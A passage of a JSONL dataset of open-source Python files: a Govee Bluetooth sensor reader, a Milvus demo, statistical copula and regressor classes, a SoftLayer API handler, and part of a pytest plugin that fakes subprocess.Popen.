)\n # )\n\n if device.last_packet:\n if device.median_temperature is not None:\n tempstate_med = float(device.median_temperature)\n if use_median:\n sensors[0].value = tempstate_med\n\n if device.mean_temperature is not None:\n tempstate_mean = float(device.mean_temperature)\n if not use_median:\n sensors[0].value = tempstate_mean\n\n if device.median_humidity is not None:\n humstate_med = float(device.median_humidity)\n if use_median:\n sensors[1].value = humstate_med\n\n if device.mean_humidity is not None:\n humstate_mean = float(device.mean_humidity)\n if not use_median:\n sensors[1].value = humstate_mean\n\n for sensor in sensors:\n sensor.rssi = device.rssi\n sensor.battery = device.battery\n\n _LOGGER.debug(f\"{sensor.name} - Temp {self.temp}\u00b0C - Hum {self.hum}% - RSSI {device.rssi}dB - Batt {device.battery}%\")\n\n device.reset()\n\n def update_ble_loop(self) -> None:\n \"\"\"Lookup Bluetooth LE devices and update status.\"\"\"\n # _LOGGER.debug(\"update_ble_loop called\")\n self.adapter.start_scanning()\n\n try:\n # Time to make the dounuts\n self.update_ble_devices(self.config)\n except RuntimeError as error:\n _LOGGER.debug(\"Error during Bluetooth LE scan: %s\", error)\n\n # time_offset = dt_util.utcnow() + timedelta(seconds=config[CONF_PERIOD])\n # update_ble_loop() will be called again after time_offset\n # track_point_in_utc_time(update_ble_loop, time_offset)\n\n # sleep(self.config[CONF_PERIOD])\n # self.update_ble_loop()\n\n def run(self):\n # Initialize bluetooth adapter and begin scanning\n # XXX: will not work if there are more than 10 HCI devices\n try:\n self.adapter = get_provider().get_adapter(int(self.config[CONF_HCI_DEVICE][-1]))\n self.adapter._handle_meta_event = self.handle_meta_event\n # hass.bus.listen(\"homeassistant_stop\", adapter.stop_scanning)\n self.adapter.start_scanning()\n except (RuntimeError, OSError, PermissionError) as error:\n error_msg = \"Error connecting to Bluetooth adapter: {}\\n\\n\".format(error)\n error_msg += \"Bluetooth adapter troubleshooting:\\n\"\n error_msg += \" -If running HASS, ensure the correct HCI device is being\"\n error_msg += \" used. Check by logging into HA command line and execute:\\n\"\n error_msg += \" gdbus introspect --system --dest org.bluez --object-path /org/bluez | fgrep -i hci\\n\"\n error_msg += \" -If running Home Assistant in Docker, \"\n error_msg += \"make sure it run with the --privileged flag.\\n\"\n # _LOGGER.error(error_msg)\n raise Exception(error_msg) from error\n\n # Initialize configured Govee devices\n self.init_configured_devices()\n # Begin sensor update loop\n self.update_ble_loop()\n\n\n###############################################################################\n\nclass MeasurementSensor():\n def __init__(self, mac, name) -> None:\n self._mac = mac\n self._name = name\n self._value: float = None\n self._battery: float = None\n self._rssi: float = None\n @property\n def name(self) -> float:\n return self._name\n @property\n def mac(self) -> float:\n return self._mac\n @property\n def value(self) -> float:\n return self._value\n @value.setter\n def value(self, value: float) -> None:\n self._value = value\n @property\n def battery(self) -> float:\n return self._battery\n @battery.setter\n def battery(self, value: float) -> None:\n self._battery = value\n @property\n def rssi(self) -> float:\n return self._rssi\n @rssi.setter\n def rssi(self, value: float) -> None:\n self._rssi = value\n\n\ns = govee_sensor()\n\ndef setup_platform_by_macs(macs_names: List[Dict[str, str]]) -> None:\n config = {\n CONF_GOVEE_DEVICES: macs_names,\n CONF_LOG_SPIKES: False,\n CONF_ROUNDING: True,\n CONF_DECIMALS: 2,\n CONF_TEMP_RANGE_MAX_CELSIUS: 45,\n CONF_TEMP_RANGE_MIN_CELSIUS: 0,\n CONF_USE_MEDIAN: True,\n CONF_HCI_DEVICE: 'hci0',\n CONF_PERIOD: 30,\n }\n s.setup_platform(config)\n\ndef update_ble_loop():\n s.update_ble_loop()\n\nif __name__ == \"__main__\":\n setup_platform_by_macs([\n {\n 'mac': 'E3:8C:81:90:A0:A0',\n 'name': 'Govee_H5179_Salon',\n },\n {\n 'mac': 'E3:8C:81:92:B4:D0',\n 'name': 'Govee_H5179_SdB',\n },\n ])\n", "source": "gaelj/sensor.goveetemp_bt_hci", "license": "MIT"} {"text": "from ..completer.unix_socket_completer import UnixSocketCompleter\nfrom ..prompt.prompt import Prompt\nfrom ..runner.unix_socket import UnixSocket\n\nclass UnixSocketPrompt(Prompt):\n\n def __init__(self, path):\n super().__init__(path, UnixSocket(path), UnixSocketCompleter())\n\n\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "import imageio\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport trackviz.static\n\n\ntracks = pd.read_csv('sample_data/ant_tracking_res.csv').rename(columns={'frame': 't'})\nimage = imageio.get_reader('sample_data/ant_dataset.mp4').get_next_data()\n\nfig, ax = trackviz.static.trajectory_2d(tracks, image=image, line_kws=dict(linewidths=0.5))\nfig.savefig('output/static_2d.png')\n# plt.show()\n", "source": "marximus/trackviz", "license": "MIT"} {"text": "# This program demos how to connect to Milvus vector database, \n# create a vector table, \n# insert 10 vectors, \n# and execute a vector similarity search.\nimport random\nfrom milvus import Milvus, IndexType, MetricType\nimport time\n\n# Milvus server IP address and port.\n# You may need to change _HOST and _PORT accordingly.\n_HOST = '127.0.0.1'\n_PORT = '19530' # default value\n\n# Vector parameters\n_DIM = 16 # dimension of vector\n_INDEX_FILE_SIZE = 32 # max file size of stored index\n\n\ndef main():\n # Connect to Milvus server\n # You may need to change _HOST and _PORT accordingly\n param = {'host': _HOST, 'port': _PORT}\n\n # You can create a instance specified server addr and\n # invoke rpc method directly\n client = Milvus(**param)\n # Create collection demo_collection if it dosen't exist.\n collection_name = 'demo_partition_collection'\n partition_tag = \"random\"\n\n # create collection\n param = {\n 'collection_name': collection_name,\n 'dimension': _DIM,\n 'index_file_size': _INDEX_FILE_SIZE, # optional\n 'metric_type': MetricType.L2 # optional\n }\n\n client.create_collection(param)\n\n # Show collections in Milvus server\n _, collections = client.list_collections()\n\n # Describe collection\n _, collection = client.get_collection_info(collection_name)\n print(collection)\n\n # create partition\n client.create_partition(collection_name, partition_tag=partition_tag)\n # display partitions\n _, partitions = client.list_partitions(collection_name)\n\n # 10000 vectors with 16 dimension\n # element per dimension is float32 type\n # vectors should be a 2-D array\n vectors = [[random.random() for _ in range(_DIM)] for _ in range(10000)]\n # You can also use numpy to generate random vectors:\n # `vectors = np.random.rand(10000, 16).astype(np.float32).tolist()`\n\n # Insert vectors into partition of collection, return status and vectors id list\n status, ids = client.insert(collection_name=collection_name, records=vectors, partition_tag=partition_tag)\n\n # Wait for 6 seconds, until Milvus server persist vector data.\n time.sleep(6)\n\n # Get demo_collection row count\n status, num = client.count_entities(collection_name)\n\n # create index of vectors, search more rapidly\n index_param = {\n 'nlist': 2048\n }\n\n # Create ivflat index in demo_collection\n # You can search vectors without creating index. however, Creating index help to\n # search faster\n status = client.create_index(collection_name, IndexType.IVF_FLAT, index_param)\n\n # describe index, get information of index\n status, index = client.get_index_info(collection_name)\n print(index)\n\n # Use the top 10 vectors for similarity search\n query_vectors = vectors[0:10]\n\n # execute vector similarity search, search range in partition `partition1`\n search_param = {\n \"nprobe\": 10\n }\n\n param = {\n 'collection_name': collection_name,\n 'query_records': query_vectors,\n 'top_k': 1,\n 'partition_tags': [\"random\"],\n 'params': search_param\n }\n status, results = client.search(**param)\n\n if status.OK():\n # indicate search result\n # also use by:\n # `results.distance_array[0][0] == 0.0 or results.id_array[0][0] == ids[0]`\n if results[0][0].distance == 0.0 or results[0][0].id == ids[0]:\n print('Query result is correct')\n else:\n print('Query result isn\\'t correct')\n\n # print results\n print(results)\n\n # Drop partition. You can also invoke `drop_collection()`, so that all of partitions belongs to\n # designated collections will be deleted.\n status = client.drop_partition(collection_name, partition_tag)\n\n # Delete collection. All of partitions of this collection will be dropped.\n status = client.drop_collection(collection_name)\n\n\nif __name__ == '__main__':\n main()\n", "source": "hellysmile/pymilvus", "license": "Apache-2.0"} {"text": "# Standard\nimport logging\nimport os\n\nLOG = logging.getLogger(__name__)\n\n\nRESOURCE_FOLDER = os.path.join(os.path.dirname(__file__), \"resources\")\nFONT_FOLDER = os.path.join(RESOURCE_FOLDER, \"fonts\")\nMUSIC_FOLDER = os.path.join(RESOURCE_FOLDER, \"music\")\nGFX_FOLDER = os.path.join(RESOURCE_FOLDER, \"graphics\")\nSFX_FOLDER = os.path.join(RESOURCE_FOLDER, \"sound\")\nTMX_FOLDER = os.path.join(RESOURCE_FOLDER, \"tmx\")\nDATA_FOLDER = os.path.join(RESOURCE_FOLDER, \"data\")\nHOME_FOLDER = os.path.expanduser(\"~\")\nCONFIG_FOLDER = os.path.join(HOME_FOLDER, \".harren-rpg\")\n", "source": "induane/harrenrpg", "license": "MIT"} {"text": "# Author: Guilherme Aldeia\r\n# Contact: guilherme.aldeia@ufabc.edu.br\r\n# Version: 1.0.0\r\n# Last modified: 08-20-2021 by Guilherme Aldeia\r\n\r\n\"\"\"\r\nExtreme Gradient Boosting regressor. This boosting method is considered a\r\nblack-box for most authors.\r\n\r\nThis regressor extends the scikit-learn\r\n[GradientBoostingRegressor](https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.GradientBoostingRegressor.html#sklearn.ensemble.GradientBoostingRegressor).\r\n\r\nbeyond what the scikit model can do, this class also implements:\r\n* `to_str()` method, that returns a string representation of the final model;\r\n* `stochastic_executions` attribute, indicating if the model presents\r\n different results between different executions if the random_state is not\r\n setted;\r\n* `interpretability_spectrum` attribute, with a string representing where on\r\n the interpretability spectrun (white, gray or black-box) this model lays;\r\n* `grid_params` attribute, with different possible values to be used in \r\n a gridsearch optimization of the method.\r\n* `feature_importances_` attribute, representing the importances calculated by\r\n an intrinsic explanation method (the Partial Effect, used in the context\r\n of regression analysis).\r\n\"\"\"\r\n\r\nfrom sklearn.ensemble import GradientBoostingRegressor\r\n\r\n\r\nclass XGB_regressor(GradientBoostingRegressor):\r\n def __init__(self, *, \r\n loss='ls', learning_rate=0.1, n_estimators=100,\r\n subsample=1.0, criterion='friedman_mse',\r\n min_samples_split=0.5, min_samples_leaf=1,\r\n min_weight_fraction_leaf=0.0, max_depth=3,\r\n min_impurity_decrease=0.0, min_impurity_split=None,\r\n init=None, random_state=None, max_features=None,\r\n alpha=0.9, verbose=0, max_leaf_nodes=None,\r\n warm_start=False, validation_fraction=0.1,\r\n n_iter_no_change=None, tol=0.0001, ccp_alpha=0.0, \r\n **kwargs):\r\n\r\n super(XGB_regressor, self).__init__(\r\n loss=loss, learning_rate=learning_rate, n_estimators=n_estimators,\r\n subsample=subsample, criterion=criterion,\r\n min_samples_split=min_samples_split,\r\n min_samples_leaf=min_samples_leaf,\r\n min_weight_fraction_leaf=min_weight_fraction_leaf,\r\n max_depth=max_depth, min_impurity_decrease=min_impurity_decrease,\r\n min_impurity_split=min_impurity_split, init=init,\r\n random_state=random_state, max_features=max_features,\r\n alpha=alpha, verbose=verbose, max_leaf_nodes=max_leaf_nodes,\r\n warm_start=warm_start, validation_fraction=validation_fraction,\r\n n_iter_no_change=n_iter_no_change, tol=tol, ccp_alpha=ccp_alpha)\r\n \r\n\r\n def to_str(self):\r\n return (\"scikit XGB black-box model with params: \"\r\n f\"{str(self.get_params())}\")\r\n\r\n\r\nXGB_regressor.interpretability_spectrum = 'black-box'\r\nXGB_regressor.stochastic_executions = True\r\nXGB_regressor.grid_params = {\r\n 'n_estimators' : [100, 200, 300],\r\n 'min_samples_split' : [0.01, 0.05, 0.1],\r\n}", "source": "gAldeia/iirsBenchmark", "license": "BSD-3-Clause"} {"text": "__all__ = [\"HexViewWidget\", \"QT_COLORS\", \"make_color_icon\"]\n\nfrom .hexview import HexViewWidget\nfrom .hexview import QT_COLORS\nfrom .hexview import make_color_icon\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from typing import NamedTuple, Union\n\nimport numpy as np\n\nfrom copulae.copula import Summary, TailDep\nfrom copulae.elliptical.abstract import AbstractEllipticalCopula\nfrom copulae.stats import multivariate_t as mvt, t\nfrom copulae.types import Array\nfrom copulae.utility import array_io\n\n\nclass StudentParams(NamedTuple):\n df: float\n rho: np.ndarray\n\n\nclass StudentCopula(AbstractEllipticalCopula):\n r\"\"\"\n The Student (T) Copula. It is elliptical and symmetric which gives it nice analytical properties. The\n Student copula is determined by its correlation matrix and the degrees of freedom. Student copulas have\n fatter tails as compared to Gaussian copulas.\n\n A Student copula is fined as\n\n .. math::\n\n C_{\\Sigma, \\nu} (u_1, \\dots, u_d) = \\mathbf{t}_{\\Sigma, \\nu} (t_\\nu^{-1} (u_1), \\dots, t_\\nu^{-1} (u_d))\n\n where :math:`\\Sigma` and :math:`\\nu` are the covariance matrix and degrees of freedom which describes the\n Student copula and :math:`t_\\nu^{-1}` is the quantile (inverse cdf) function\n \"\"\"\n\n def __init__(self, dim=2, df=1):\n \"\"\"\n Creates a Student copula instance\n\n Parameters\n ----------\n dim: int, optional\n Dimension of the copula\n\n df: float, optional\n Degrees of freedom of the copula\n \"\"\"\n super().__init__(dim, 'Student')\n\n n = sum(range(dim))\n self._df = df\n self._rhos = np.zeros(n)\n\n lower, upper = np.repeat(-1., n + 1), np.repeat(1., n + 1)\n lower[0], upper[0] = 0, np.inf # bounds for df, the rest are correlation\n self._bounds = (lower, upper)\n\n @array_io(dim=2)\n def cdf(self, x: np.ndarray, log=False):\n sigma = self.sigma\n df = self._df\n q = t.ppf(x, df)\n return mvt.logcdf(q, cov=sigma, df=df) if log else mvt.cdf(q, cov=sigma, df=df)\n\n def fit(self, data: np.ndarray, x0: np.ndarray = None, method='mpl', fix_df=False, est_var=False, verbose=1,\n optim_options: dict = None):\n if fix_df:\n optim_options['constraints'].append({'type': 'eq', 'fun': lambda x: x[0] - self._df}) # df doesn't change\n\n return super().fit(data, x0, method, est_var, verbose, optim_options)\n\n def irho(self, rho: Array):\n \"\"\"\n irho is not implemented for t copula\n \"\"\"\n return NotImplemented()\n\n @property\n def lambda_(self):\n df = self._df\n rho = self._rhos\n if np.isinf(df):\n res = (self._rhos == 1).astype(float)\n else:\n res = 2 * t.cdf(- np.sqrt((df + 1) * (1 - rho)), df=df + 1)\n\n return TailDep(res, res)\n\n @property\n def params(self) -> StudentParams:\n \"\"\"\n The parameters of the Student copula. A tuple where the first value is the degrees of freedom and the\n subsequent values are the correlation matrix parameters\n\n Returns\n -------\n df: float\n Degrees of freedom\n corr: ndarray\n Correlation parameters\n\n \"\"\"\n return StudentParams(self._df, self._rhos)\n\n @params.setter\n def params(self, params: Union[np.ndarray, StudentParams]):\n if isinstance(params, StudentParams):\n self._df = params.df\n self._rhos = params.rho\n else:\n params = np.asarray(params)\n if len(params) != 1 + sum(range(self.dim)):\n raise ValueError('Incompatible parameters for student copula')\n\n df = params[0]\n if df <= 0:\n raise ValueError('Degrees of freedom must be greater than 0')\n\n self._df = df\n self._rhos = params[1:]\n\n @array_io(dim=2)\n def pdf(self, u: np.ndarray, log=False):\n sigma = self.sigma\n df = self._df\n q = t.ppf(u, df)\n d = mvt.logpdf(q, cov=sigma, df=df) - t.logpdf(q, df=df).sum(1)\n return d if log else np.exp(d)\n\n def random(self, n: int, seed: int = None):\n r = mvt.rvs(cov=self.sigma, df=self._df, size=n, random_state=seed)\n return t.cdf(r, self._df)\n\n def summary(self):\n return Summary(self, {\n 'Degree of Freedom': self.params.df,\n 'Correlation Matrix': self.sigma\n })\n", "source": "Wittgensteen/copulae", "license": "MIT"} {"text": "import logging\n\nlogging.basicConfig(format='%(asctime)-15s %(message)s')\n\n\ndef getLogger(name):\n result = logging.getLogger(name)\n result.setLevel(logging.INFO)\n return result\n", "source": "arcana261/python-grpc-boilerplate", "license": "Unlicense"} {"text": "\"\"\"\nCreated: 03 June 2020\nAuthor: Jordan Prechac\n\"\"\"\n\nfrom revibe.exceptions import RevibeException\n\n# -----------------------------------------------------------------------------\n\nclass BaseSurveyException(RevibeException):\n pass\n\nclass SurveyException(BaseSurveyException):\n pass\n", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "from typing import Type, Tuple\n\nfrom wai.annotations.core.component import ProcessorComponent\nfrom wai.annotations.core.domain import DomainSpecifier\nfrom wai.annotations.core.specifier import ProcessorStageSpecifier\n\n\nclass HSLGrayScaleISPSpecifier(ProcessorStageSpecifier):\n \"\"\"\n Specifies the hsl-grayscale ISP.\n \"\"\"\n @classmethod\n def description(cls) -> str:\n return \"Turns RGB images into fake grayscale ones by converting them to HSL and then using the L channel for all channels. The brightness can be influenced and varied even.\"\n\n @classmethod\n def domain_transfer_function(\n cls,\n input_domain: Type[DomainSpecifier]\n ) -> Type[DomainSpecifier]:\n from wai.annotations.domain.image.classification import ImageClassificationDomainSpecifier\n from wai.annotations.domain.image.object_detection import ImageObjectDetectionDomainSpecifier\n if input_domain is ImageClassificationDomainSpecifier:\n return input_domain\n elif input_domain is ImageObjectDetectionDomainSpecifier:\n return input_domain\n else:\n raise Exception(\n f\"HSLGrayScale only handles the following domains: \"\n f\"{ImageClassificationDomainSpecifier.name()}, \"\n f\"{ImageObjectDetectionDomainSpecifier.name()}\"\n )\n\n @classmethod\n def components(cls) -> Tuple[Type[ProcessorComponent]]:\n from wai.annotations.imgaug.isp.hsl_grayscale.component import HSLGrayScale\n return HSLGrayScale,\n", "source": "waikato-ufdl/wai-annotations-processors", "license": "Apache-2.0"} {"text": "import iso8601\nimport SoftLayer\n\nfrom jumpgate.common import error_handling\n\n\nclass InstanceActionsV2(object):\n def on_get(self, req, resp, tenant_id, server_id):\n client = req.env['sl_client']\n\n try:\n server = client['Virtual_Guest'].getObject(\n id=server_id, mask='id, accountId, createDate')\n except SoftLayer.SoftLayerAPIError as e:\n if e.faultCode == 'SoftLayer_Exception_ObjectNotFound':\n return error_handling.not_found(resp,\n 'Instance could not be found')\n raise\n\n actions = client['Event_Log'].getAllObjects(filter={\n 'userType': {'operation': 'SYSTEM'},\n 'objectName': {'operation': 'CCI'},\n 'objectId': {'operation': server_id}})\n\n resp.body = {'instanceActions': [format_action(server, action)\n for action in actions]}\n\n\nclass InstanceActionV2(object):\n def on_get(self, req, resp, tenant_id, server_id, action_id):\n client = req.env['sl_client']\n\n try:\n server = client['Virtual_Guest'].getObject(\n id=server_id, mask='id, accountId, createDate')\n except SoftLayer.SoftLayerAPIError as e:\n if e.faultCode == 'SoftLayer_Exception_ObjectNotFound':\n return error_handling.not_found(resp,\n 'Instance could not be found')\n raise\n\n actions = client['Event_Log'].getAllObjects(\n filter={\n 'userType': {'operation': 'SYSTEM'},\n 'objectName': {'operation': 'CCI'},\n 'objectId': {'operation': server_id},\n 'traceId': {'operation': action_id}})\n\n if len(actions) == 0:\n return error_handling.not_found(resp, 'action could not be found')\n\n resp.body = {'instanceAction': format_action(server, actions[0])}\n\n\ndef format_action(server, event):\n event_name = event['eventName'].lower().replace(' ', '_')\n server_created = iso8601.parse_date(server['createDate'])\n event_date = iso8601.parse_date(event['eventCreateDate'])\n if event_name == 'power_on':\n if abs((event_date - server_created).total_seconds()) < 300:\n event_name = 'create'\n elif event_name == 'os_reload':\n event_name = 'rebuild'\n\n formatted_time = event_date.strftime(\"%Y-%m-%d %H:%M:%S.%f\")\n return {'action': event_name,\n 'instance_uuid': event['objectId'],\n 'message': event['metaData'],\n 'project_id': server['accountId'],\n 'request_id': event['traceId'],\n 'start_time': formatted_time}\n", "source": "wpf710/jumpgate", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nimport asyncio\nimport io\nimport os\nimport signal\nimport subprocess\nimport sys\nimport time\nfrom collections import defaultdict\nfrom collections import deque\nfrom copy import deepcopy\nfrom functools import partial\nfrom typing import Any as AnyType\nfrom typing import Awaitable\nfrom typing import Callable\nfrom typing import DefaultDict\nfrom typing import Deque\nfrom typing import Dict\nfrom typing import IO\nfrom typing import List\nfrom typing import Optional\nfrom typing import Sequence\nfrom typing import Tuple\nfrom typing import Type\nfrom typing import Union\n\nfrom . import asyncio_subprocess\nfrom .utils import Any\nfrom .utils import Command\nfrom .utils import Thread\n\nOPTIONAL_TEXT = Union[str, bytes, None]\nOPTIONAL_TEXT_OR_ITERABLE = Union[\n str, bytes, None, Sequence[Union[str, bytes]],\n]\nBUFFER = Union[None, io.BytesIO, io.StringIO]\nARGUMENT = Union[str, Any]\nCOMMAND = Union[Sequence[ARGUMENT], str, Command]\n\n\nclass PluginInternalError(Exception):\n \"\"\"Raised in case of an internal error in the plugin\"\"\"\n\n\nclass FakePopen:\n \"\"\"Base class that fakes the real subprocess.Popen()\"\"\"\n\n stdout: BUFFER = None\n stderr: BUFFER = None\n returncode: Optional[int] = None\n text_mode: bool = False\n pid: int = 0\n\n def __init__(\n self,\n command: Union[\n Union[bytes, str],\n Sequence[Union[str, bytes, \"os.PathLike[str]\", \"os.PathLike[bytes]\"]],\n ],\n stdout: OPTIONAL_TEXT_OR_ITERABLE = None,\n stderr: OPTIONAL_TEXT_OR_ITERABLE = None,\n returncode: int = 0,\n wait: Optional[float] = None,\n callback: Optional[Callable] = None,\n callback_kwargs: Optional[Dict[str, AnyType]] = None,\n signal_callback: Optional[Callable] = None,\n stdin_callable: Optional[Callable] = None,\n **_: Dict[str, AnyType]\n ) -> None:\n self.args = command\n self.__stdout: OPTIONAL_TEXT_OR_ITERABLE = stdout\n self.__stderr: OPTIONAL_TEXT_OR_ITERABLE = stderr\n self.__returncode: Optional[int] = returncode\n self.__wait: Optional[float] = wait\n self.__thread: Optional[Thread] = None\n self.__callback: Optional[Optional[Callable]] = callback\n self.__callback_kwargs: Optional[Dict[str, AnyType]] = callback_kwargs\n self.__signal_callback: Optional[Callable] = signal_callback\n self.__stdin_callable: Optional[Optional[Callable]] = stdin_callable\n self._signals: List[int] = []\n\n def __enter__(self) -> \"FakePopen\":\n return self\n\n def __exit__(self, *args: List, **kwargs: Dict) -> None:\n if self.__thread and self.__thread.exception:\n raise self.__thread.exception\n\n def communicate(\n self, input: OPTIONAL_TEXT = None, timeout: Optional[float] = None\n ) -> Tuple[AnyType, AnyType]:\n if input and self.__stdin_callable:\n callable_output = self.__stdin_callable(input)\n if isinstance(callable_output, dict):\n self.stdout = self._extend_stream_from_dict(\n callable_output, \"stdout\", self.stdout\n )\n self.stderr = self._extend_stream_from_dict(\n callable_output, \"stderr\", self.stderr\n )\n\n if self.__thread is not None:\n self.__thread.join(timeout)\n\n return (\n self.stdout.getvalue() if self.stdout else None,\n self.stderr.getvalue() if self.stderr else None,\n )\n\n def _extend_stream_from_dict(\n self, dictionary: Dict[str, AnyType], key: str, stream: BUFFER\n ) -> BUFFER:\n data = dictionary.get(key)\n if data:\n return self._prepare_buffer(input=data, io_base=stream)\n return None\n\n def poll(self) -> Optional[int]:\n return self.returncode\n\n def wait(self, timeout: Optional[float] = None) -> int:\n if timeout and self.__wait and timeout < self.__wait:\n self.__wait -= timeout\n raise subprocess.TimeoutExpired(self.args, timeout)\n if self.__thread is not None:\n self.__thread.join()\n if self.returncode is None and self.__returncode is not None:\n self.returncode = self.__returncode\n if self.__thread.exception:\n raise self.__thread.exception\n if self.returncode is None:\n raise PluginInternalError\n return self.returncode\n\n def send_signal(self, sig: int) -> None:\n self._signals.append(sig)\n if self.__signal_callback:\n self.__signal_callback(self, sig)\n\n def terminate(self) -> None:\n self.send_signal(signal.SIGTERM)\n\n def kill(self) -> None:\n if sys.platform == \"win32\":\n self.terminate()\n else:\n self.send_signal(signal.SIGKILL)\n\n def configure(self, **kwargs: Optional[Dict]) -> None:\n \"\"\"Setup the FakePopen instance based on a real Popen arguments.\"\"\"\n self.__universal_newlines = kwargs.get(\"universal_newlines\", None)\n text = kwargs.get(\"text\", None)\n encoding = kwargs.get(\"encoding\", None)\n errors = kwargs.get(\"errors\", None)\n\n if text and sys.version_info < (3, 7):\n raise TypeError(\"__init__() got an unexpected keyword argument 'text'\")\n\n self.text_mode = bool(text or self.__universal_newlines or encoding or errors)\n\n # validation taken from the real subprocess\n if (\n text is not None\n and self.__universal_newlines is not None\n and bool(self.__universal_newlines) != bool(text)\n ):\n raise subprocess.SubprocessError(\n \"Cannot disambiguate when both text \"\n \"and universal_newlines are supplied but \"\n \"different. Pass one or the other.\"\n )\n\n stdout = kwargs.get(\"stdout\")\n if stdout == subprocess.PIPE:\n self.stdout = self._prepare_buffer(self.__stdout)\n elif isinstance(stdout, (io.BufferedWriter, io.TextIOWrapper)):\n self._write_to_buffer(self.__stdout, stdout)\n stderr = kwargs.get(\"stderr\")\n if stderr == subprocess.STDOUT and self.__stderr:\n self.stdout = self._prepare_buffer(self.__stderr, self.stdout)\n elif stderr == subprocess.PIPE:\n self.stderr = self._prepare_buffer(self.__stderr)\n elif isinstance(stderr, (io.BufferedWriter, io.TextIOWrapper)):\n self._write_to_buffer(self.__stderr, stderr)\n\n def _prepare_buffer(\n self, input: OPTIONAL_TEXT_OR_ITERABLE, io_base: BUFFER = None,\n ) -> Union[io.BytesIO, io.StringIO]:\n linesep = self._convert(os.linesep)\n\n if isinstance(input, (list, tuple)):\n # need to disable mypy, as input and linesep are unions,\n # mypy thinks that the types might be incompatible, but\n # the _convert() function handles that\n input = linesep.join(map(self._convert, input)) # type: ignore\n\n # Add trailing newline if data is present.\n if input:\n # same reason to disable mypy as above\n input += linesep # type: ignore\n\n if isinstance(input, str) and not self.text_mode:\n input = input.encode()\n\n if isinstance(input, bytes) and self.text_mode:\n input = input.decode()\n\n if input and self.__universal_newlines and isinstance(input, str):\n input = input.replace(\"\\r\\n\", \"\\n\")\n\n if io_base is not None:\n # same reason for disabling mypy as in `input = linesep.join...`:\n # both are union so could be incompatible if not _convert()\n input = io_base.getvalue() + (input) # type: ignore\n\n io_base = io.StringIO() if self.text_mode else io.BytesIO()\n\n if input is None:\n return io_base\n\n # similar as above - mypy has to be disabled because unions\n io_base.write(input) # type: ignore\n return io_base\n\n def _write_to_buffer(self, data: OPTIONAL_TEXT_OR_ITERABLE, buffer: IO) -> None:\n data_type: Callable = (\n # mypy doesn't seem to recognize `partial` as a function\n partial(bytes, encoding=sys.getfilesystemencoding()) # type: ignore\n if \"b\" in buffer.mode\n else str\n )\n if isinstance(data, (list, tuple)):\n buffer.writelines([data_type(line + \"\\n\") for line in data])\n else:\n buffer.write(data_type(data))\n\n def _convert(self, input: Union[str, bytes]) -> Union[str, bytes]:\n if isinstance(input, bytes) and self.text_mode:\n return input.decode()\n if isinstance(input, str) and not self.text_mode:\n return input.encode()\n return input\n\n def _wait(self, wait_period: float) -> None:\n time.sleep(wait_period)\n if self.returncode is None:\n self._finish_process()\n\n def run_thread(self) -> None:\n \"\"\"Run the user-defined callback or wait in a thread.\"\"\"\n if self.__wait is None and self.__callback is None:\n self._finish_process()\n else:\n if self.__callback:\n self.__thread = Thread(\n target=self.__callback,\n args=(self,),\n kwargs=self.__callback_kwargs or {},\n )\n else:\n self.__thread = Thread(target=self._wait, args=(self.__wait,))\n self.__thread.start()\n\n def _finish_process(self) -> None:\n self.returncode = self.__returncode\n\n if self.stdout:\n self.stdout.seek(0)\n\n if self.stderr:\n self.stderr.seek(0)\n\n def received_signals(self) -> Tuple[int, ...]:\n \"\"\"Get a tuple of signals received by the process.\"\"\"\n return tuple(self._signals)\n\n\nclass AsyncFakePopen(FakePopen):\n \"\"\"Class to handle async processes\"\"\"\n\n async def communicate( # type: ignore\n self, input: OPTIONAL_TEXT = None, timeout: Optional[float] = None\n ) -> Tuple[AnyType, AnyType]:\n return super().communicate(input, timeout)\n\n async def wait(self, timeout: Optional[float] = None) -> int: # type: ignore\n return super().wait(timeout)\n\n\nclass ProcessNotRegisteredError(Exception):\n \"\"\"\n Raised when the attempted command wasn't registered before.\n Use `fake_process.allow_unregistered(True)` if you want to use real subprocess.\n \"\"\"\n\n\nclass ProcessDispatcher:\n \"\"\"Main class for handling processes.\"\"\"\n\n process_list: List[\"FakeProcess\"] = []\n built_in_popen: Optional[Callable] = None\n built_in_async_subprocess: Optional[AnyType] = None\n _allow_unregistered: bool = False\n _cache: Dict[\"FakeProcess\", Dict[\"FakeProcess\", AnyType]] = dict()\n _keep_last_process: bool = False\n _pid: int = 0\n\n @classmethod\n def register(cls, process: \"FakeProcess\") -> None:\n if not cls.process_list:\n cls.built_in_popen = subprocess.Popen\n subprocess.Popen = cls.dispatch # type: ignore\n\n cls.built_in_async_subprocess = asyncio.subprocess\n asyncio.create_subprocess_shell = cls.async_shell # type: ignore\n asyncio.create_subprocess_exec = cls.async_exec # type: ignore\n asyncio.subprocess = asyncio_subprocess\n\n cls._cache[process] = {\n proc: deepcopy(proc.definitions) for proc in cls.process_list\n }\n cls.process_list.append(process)\n\n @classmethod\n def deregister(cls, process: \"FakeProcess\") -> None:\n cls.process_list.remove(process)\n cache = cls._cache.pop(process)\n for proc, processes in cache.items():\n proc.definitions = processes\n if not cls.process_list:\n subprocess.Popen = cls.built_in_popen # type: ignore\n cls.built_in_popen = None\n\n if cls.built_in_async_subprocess is None:\n raise PluginInternalError\n\n asyncio.subprocess = cls.built_in_async_subprocess\n asyncio.create_subprocess_shell = (\n cls.built_in_async_subprocess.create_subprocess_shell\n )\n asyncio.create_subprocess_exec = (\n cls.built_in_async_subprocess.create_subprocess_exec\n )\n cls.built_in_async_subprocess = None\n\n @classmethod\n def dispatch(\n cls, command: COMMAND, **kwargs: Optional[Dict]\n ) -> Union[FakePopen, subprocess.Popen]:\n \"\"\"This method will be used instead of the subprocess.Popen()\"\"\"\n process = cls.__dispatch(command)\n\n if process is None:\n if cls.built_in_popen is None:\n raise PluginInternalError\n\n popen: subprocess.Popen = cls.built_in_popen(command, **kwargs)\n return popen\n\n result = cls._prepare_instance(FakePopen, command, kwargs, process)\n if not isinstance(result, FakePopen):\n raise PluginInternalError\n result.run_thread()\n return result\n\n @classmethod\n async def async_shell(\n cls, cmd: Union[str, bytes], **kwargs: Dict\n ) -> Union[AsyncFakePopen, asyncio.subprocess.Process]:\n \"\"\"Replacement of asyncio.create_subprocess_shell()\"\"\"\n if not isinstance(cmd, (str, bytes)):\n raise ValueError(\"cmd must be a string\")\n method = 